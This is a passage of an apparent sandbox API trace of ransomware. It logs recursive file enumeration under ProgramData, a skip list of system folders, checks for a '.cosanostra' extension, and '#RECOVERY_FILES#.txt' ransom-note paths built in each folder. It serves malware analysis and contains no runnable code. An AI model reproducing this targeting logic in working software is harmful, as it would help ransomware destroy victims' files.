[0081.391] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Store\\#RECOVERY_FILES#.txt") returned 86 [0081.391] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0 [0081.391] FindClose (in: hFindFile=0x25a870 | out: hFindFile=0x25a870) returned 1 [0081.391] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\#RECOVERY_FILES#.txt") returned 80 [0081.391] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\#RECOVERY_FILES#.txt") returned 80 [0081.391] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0 [0081.391] FindClose (in: hFindFile=0x25a830 | out: hFindFile=0x25a830) returned 1 [0081.391] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\#RECOVERY_FILES#.txt") returned 72 [0081.391] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\#RECOVERY_FILES#.txt") returned 72 [0081.392] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0081.392] lstrcmpiW (lpString1="Support", lpString2="Windows") returned -1 [0081.392] lstrlenW (lpString="Windows") returned 7 [0081.392] lstrcmpiW (lpString1="Support", lpString2="Program Files") returned 1 [0081.392] lstrlenW (lpString="Program Files") returned 13 [0081.392] lstrcmpiW (lpString1="Support", lpString2="Program Files (x86)") returned 1 [0081.392] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.392] lstrcmpiW (lpString1="Support", lpString2="$Recycle.bin") returned 1 [0081.392] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.392] lstrcmpiW (lpString1="Support", lpString2="System Volume Information") returned -1 [0081.392] lstrlenW (lpString="System Volume Information") returned 25 [0081.392] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Support") returned 53 [0081.392] lstrcmpW (lpString1="Support", lpString2=".") returned 1 [0081.392] lstrcmpW (lpString1="Support", lpString2="..") returned 1 [0081.392] wnsprintfW (in: pszDest=0x2d6fc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\*") returned 55 [0081.392] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\*", lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0x25a830 [0081.402] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0081.402] lstrlenW (lpString="Windows") returned 7 [0081.402] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0081.402] lstrlenW (lpString="Program Files") returned 13 [0081.402] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0081.402] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.402] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0081.402] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.402] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0081.402] lstrlenW (lpString="System Volume Information") returned 25 [0081.402] wnsprintfW (in: pszDest=0x2d6fc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\.") returned 55 [0081.402] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.402] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.402] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0081.402] lstrlenW (lpString="Windows") returned 7 [0081.402] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0081.402] lstrlenW (lpString="Program Files") returned 13 [0081.402] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0081.402] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.402] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0081.402] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.402] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0081.402] lstrlenW (lpString="System Volume Information") returned 25 [0081.402] wnsprintfW (in: pszDest=0x2d6fc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\..") returned 56 [0081.402] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.402] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.402] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.402] lstrcmpiW (lpString1="MPLog-07132009-221054.log", lpString2="Windows") returned -1 [0081.402] lstrlenW (lpString="Windows") returned 7 [0081.402] lstrcmpiW (lpString1="MPLog-07132009-221054.log", lpString2="Program Files") returned -1 [0081.402] lstrlenW (lpString="Program Files") returned 13 [0081.402] lstrcmpiW (lpString1="MPLog-07132009-221054.log", lpString2="Program Files (x86)") returned -1 [0081.403] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.403] lstrcmpiW (lpString1="MPLog-07132009-221054.log", lpString2="$Recycle.bin") returned 1 [0081.403] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.403] lstrcmpiW (lpString1="MPLog-07132009-221054.log", lpString2="System Volume Information") returned -1 [0081.403] lstrlenW (lpString="System Volume Information") returned 25 [0081.403] wnsprintfW (in: pszDest=0x2d6fc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\MPLog-07132009-221054.log") returned 79 [0081.403] StrStrIW (lpFirst="MPLog-07132009-221054.log", lpSrch=".cosanostra") returned 0x0 [0081.403] lstrcmpW (lpString1="MPLog-07132009-221054.log", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.403] lstrcmpW (lpString1="MPLog-07132009-221054.log", lpString2="_uninstalling_.png") returned 1 [0081.403] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\MPLog-07132009-221054.log") returned 79 [0081.403] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0 [0081.403] FindClose (in: hFindFile=0x25a830 | out: hFindFile=0x25a830) returned 1 [0081.403] wnsprintfW (in: pszDest=0x2d6fc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\#RECOVERY_FILES#.txt") returned 74 [0081.403] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\#RECOVERY_FILES#.txt") returned 74 [0081.403] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0 [0081.403] FindClose (in: hFindFile=0x25a7f0 | out: hFindFile=0x25a7f0) returned 1 [0081.403] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\#RECOVERY_FILES#.txt") returned 66 [0081.403] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\#RECOVERY_FILES#.txt") returned 66 [0081.403] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0081.403] lstrcmpiW (lpString1="Windows NT", lpString2="Windows") returned 1 [0081.403] lstrlenW (lpString="Windows") returned 7 [0081.403] lstrcmpiW (lpString1="Windows NT", lpString2="Program Files") returned 1 [0081.403] lstrlenW (lpString="Program Files") returned 13 [0081.403] lstrcmpiW (lpString1="Windows NT", lpString2="Program Files (x86)") returned 1 [0081.403] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.403] lstrcmpiW (lpString1="Windows NT", lpString2="$Recycle.bin") returned 1 [0081.403] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.403] lstrcmpiW (lpString1="Windows NT", lpString2="System Volume Information") returned 1 [0081.403] lstrlenW (lpString="System Volume Information") returned 25 [0081.403] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT") returned 39 [0081.403] lstrcmpW (lpString1="Windows NT", lpString2=".") returned 1 [0081.403] lstrcmpW (lpString1="Windows NT", lpString2="..") returned 1 [0081.406] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\*") returned 41 [0081.406] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a7f0 [0081.406] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0081.406] lstrlenW (lpString="Windows") returned 7 [0081.406] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0081.406] lstrlenW (lpString="Program Files") returned 13 [0081.406] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0081.406] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.406] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0081.406] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.406] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0081.406] lstrlenW (lpString="System Volume Information") returned 25 [0081.406] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\.") returned 41 [0081.406] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.406] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0081.406] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0081.407] lstrlenW (lpString="Windows") returned 7 [0081.407] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0081.407] lstrlenW (lpString="Program Files") returned 13 [0081.407] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0081.407] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.407] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0081.407] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.407] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0081.407] lstrlenW (lpString="System Volume Information") returned 25 [0081.407] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\..") returned 42 [0081.407] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.407] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.407] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0081.407] lstrcmpiW (lpString1="MSFax", lpString2="Windows") returned -1 [0081.407] lstrlenW (lpString="Windows") returned 7 [0081.407] lstrcmpiW (lpString1="MSFax", lpString2="Program Files") returned -1 [0081.407] lstrlenW (lpString="Program Files") returned 13 [0081.407] lstrcmpiW (lpString1="MSFax", lpString2="Program Files (x86)") returned -1 [0081.407] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.407] lstrcmpiW (lpString1="MSFax", lpString2="$Recycle.bin") returned 1 [0081.407] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.407] lstrcmpiW (lpString1="MSFax", lpString2="System Volume Information") returned -1 [0081.407] lstrlenW (lpString="System Volume Information") returned 25 [0081.407] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax") returned 45 [0081.407] lstrcmpW (lpString1="MSFax", lpString2=".") returned 1 [0081.407] lstrcmpW (lpString1="MSFax", lpString2="..") returned 1 [0081.407] wnsprintfW (in: pszDest=0x2d6fc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\*") returned 47 [0081.407] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\*", lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0x25a830 [0081.409] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0081.409] lstrlenW (lpString="Windows") returned 7 [0081.409] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0081.409] lstrlenW (lpString="Program Files") returned 13 [0081.409] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0081.409] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.409] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0081.409] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.409] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0081.409] lstrlenW (lpString="System Volume Information") returned 25 [0081.409] wnsprintfW (in: pszDest=0x2d6fc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\.") returned 47 [0081.409] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.409] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.409] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0081.409] lstrlenW (lpString="Windows") returned 7 [0081.410] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0081.410] lstrlenW (lpString="Program Files") returned 13 [0081.410] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0081.410] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.410] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0081.410] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.410] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0081.410] lstrlenW (lpString="System Volume Information") returned 25 [0081.410] wnsprintfW (in: pszDest=0x2d6fc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\..") returned 48 [0081.410] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.410] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.410] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.410] lstrcmpiW (lpString1="ActivityLog", lpString2="Windows") returned -1 [0081.410] lstrlenW (lpString="Windows") returned 7 [0081.410] lstrcmpiW (lpString1="ActivityLog", lpString2="Program Files") returned -1 [0081.410] lstrlenW (lpString="Program Files") returned 13 [0081.410] lstrcmpiW (lpString1="ActivityLog", lpString2="Program Files (x86)") returned -1 [0081.410] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.410] lstrcmpiW (lpString1="ActivityLog", lpString2="$Recycle.bin") returned 1 [0081.410] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.410] lstrcmpiW (lpString1="ActivityLog", lpString2="System Volume Information") returned -1 [0081.410] lstrlenW (lpString="System Volume Information") returned 25 [0081.410] wnsprintfW (in: pszDest=0x2d6fc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\ActivityLog") returned 57 [0081.410] lstrcmpW (lpString1="ActivityLog", lpString2=".") returned 1 [0081.410] lstrcmpW (lpString1="ActivityLog", lpString2="..") returned 1 [0081.410] wnsprintfW (in: pszDest=0x2c3dd0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\ActivityLog\\*") returned 59 [0081.410] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\ActivityLog\\*", lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0x25a870 [0081.410] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0081.410] lstrlenW (lpString="Windows") returned 7 [0081.410] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0081.410] lstrlenW (lpString="Program Files") returned 13 [0081.410] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0081.410] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.410] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0081.410] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.410] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0081.411] lstrlenW (lpString="System Volume Information") returned 25 [0081.411] wnsprintfW (in: pszDest=0x2c3dd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\ActivityLog\\.") returned 59 [0081.411] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.411] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.411] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0081.411] lstrlenW (lpString="Windows") returned 7 [0081.411] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0081.411] lstrlenW (lpString="Program Files") returned 13 [0081.411] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0081.411] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.411] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0081.411] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.411] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0081.411] lstrlenW (lpString="System Volume Information") returned 25 [0081.411] wnsprintfW (in: pszDest=0x2c3dd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\ActivityLog\\..") returned 60 [0081.411] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.411] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.411] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0 [0081.411] FindClose (in: hFindFile=0x25a870 | out: hFindFile=0x25a870) returned 1 [0081.411] wnsprintfW (in: pszDest=0x2c3dd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\ActivityLog\\#RECOVERY_FILES#.txt") returned 78 [0081.411] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\ActivityLog\\#RECOVERY_FILES#.txt") returned 78 [0081.411] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.411] lstrcmpiW (lpString1="Common Coverpages", lpString2="Windows") returned -1 [0081.411] lstrlenW (lpString="Windows") returned 7 [0081.411] lstrcmpiW (lpString1="Common Coverpages", lpString2="Program Files") returned -1 [0081.411] lstrlenW (lpString="Program Files") returned 13 [0081.411] lstrcmpiW (lpString1="Common Coverpages", lpString2="Program Files (x86)") returned -1 [0081.411] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.411] lstrcmpiW (lpString1="Common Coverpages", lpString2="$Recycle.bin") returned 1 [0081.411] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.411] lstrcmpiW (lpString1="Common Coverpages", lpString2="System Volume Information") returned -1 [0081.411] lstrlenW (lpString="System Volume Information") returned 25 [0081.411] wnsprintfW (in: pszDest=0x2d6fc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages") returned 63 [0081.411] lstrcmpW (lpString1="Common Coverpages", lpString2=".") returned 1 [0081.411] lstrcmpW (lpString1="Common Coverpages", lpString2="..") returned 1 [0081.411] wnsprintfW (in: pszDest=0x2c3dd0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\*") returned 65 [0081.411] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\*", lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0x25a870 [0081.412] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0081.412] lstrlenW (lpString="Windows") returned 7 [0081.412] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0081.412] lstrlenW (lpString="Program Files") returned 13 [0081.412] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0081.412] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.412] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0081.412] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.412] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0081.412] lstrlenW (lpString="System Volume Information") returned 25 [0081.412] wnsprintfW (in: pszDest=0x2c3dd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\.") returned 65 [0081.412] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.412] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.412] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0081.412] lstrlenW (lpString="Windows") returned 7 [0081.412] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0081.412] lstrlenW (lpString="Program Files") returned 13 [0081.412] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0081.412] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.412] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0081.412] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.412] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0081.412] lstrlenW (lpString="System Volume Information") returned 25 [0081.412] wnsprintfW (in: pszDest=0x2c3dd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\..") returned 66 [0081.412] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.412] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.412] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.412] lstrcmpiW (lpString1="en-US", lpString2="Windows") returned -1 [0081.412] lstrlenW (lpString="Windows") returned 7 [0081.412] lstrcmpiW (lpString1="en-US", lpString2="Program Files") returned -1 [0081.412] lstrlenW (lpString="Program Files") returned 13 [0081.412] lstrcmpiW (lpString1="en-US", lpString2="Program Files (x86)") returned -1 [0081.412] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.412] lstrcmpiW (lpString1="en-US", lpString2="$Recycle.bin") returned 1 [0081.412] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.412] lstrcmpiW (lpString1="en-US", lpString2="System Volume Information") returned -1 [0081.412] lstrlenW (lpString="System Volume Information") returned 25 [0081.413] wnsprintfW (in: pszDest=0x2c3dd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US") returned 69 [0081.413] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0081.413] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0081.413] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\*") returned 71 [0081.413] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\*", lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 0x25a8b0 [0081.414] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0081.414] lstrlenW (lpString="Windows") returned 7 [0081.414] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0081.414] lstrlenW (lpString="Program Files") returned 13 [0081.414] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0081.414] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.414] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0081.414] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.414] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0081.414] lstrlenW (lpString="System Volume Information") returned 25 [0081.414] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\.") returned 71 [0081.414] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.414] FindNextFileW (in: hFindFile=0x25a8b0, lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 1 [0081.414] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0081.414] lstrlenW (lpString="Windows") returned 7 [0081.414] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0081.414] lstrlenW (lpString="Program Files") returned 13 [0081.414] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0081.414] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.414] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0081.414] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.414] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\..") returned 72 [0081.414] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.414] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.414] FindNextFileW (in: hFindFile=0x25a8b0, lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 1 [0081.414] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\confident.cov") returned 83 [0081.414] StrStrIW (lpFirst="confident.cov", lpSrch=".cosanostra") returned 0x0 [0081.414] lstrcmpW (lpString1="confident.cov", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.414] lstrcmpW (lpString1="confident.cov", lpString2="_uninstalling_.png") returned 1 [0081.414] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\confident.cov") returned 83 [0081.414] FindNextFileW (in: hFindFile=0x25a8b0, lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 1 [0081.414] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\fyi.cov") returned 77 [0081.414] StrStrIW (lpFirst="fyi.cov", lpSrch=".cosanostra") returned 0x0 [0081.414] lstrcmpW (lpString1="fyi.cov", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.414] lstrcmpW (lpString1="fyi.cov", lpString2="_uninstalling_.png") returned 1 [0081.414] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\fyi.cov") returned 77 [0081.415] FindNextFileW (in: hFindFile=0x25a8b0, lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 1 [0081.415] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\generic.cov") returned 81 [0081.415] StrStrIW (lpFirst="generic.cov", lpSrch=".cosanostra") returned 0x0 [0081.415] lstrcmpW (lpString1="generic.cov", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.415] lstrcmpW (lpString1="generic.cov", lpString2="_uninstalling_.png") returned 1 [0081.415] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\generic.cov") returned 81 [0081.415] FindNextFileW (in: hFindFile=0x25a8b0, lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 1 [0081.415] wnsprintfW (in: 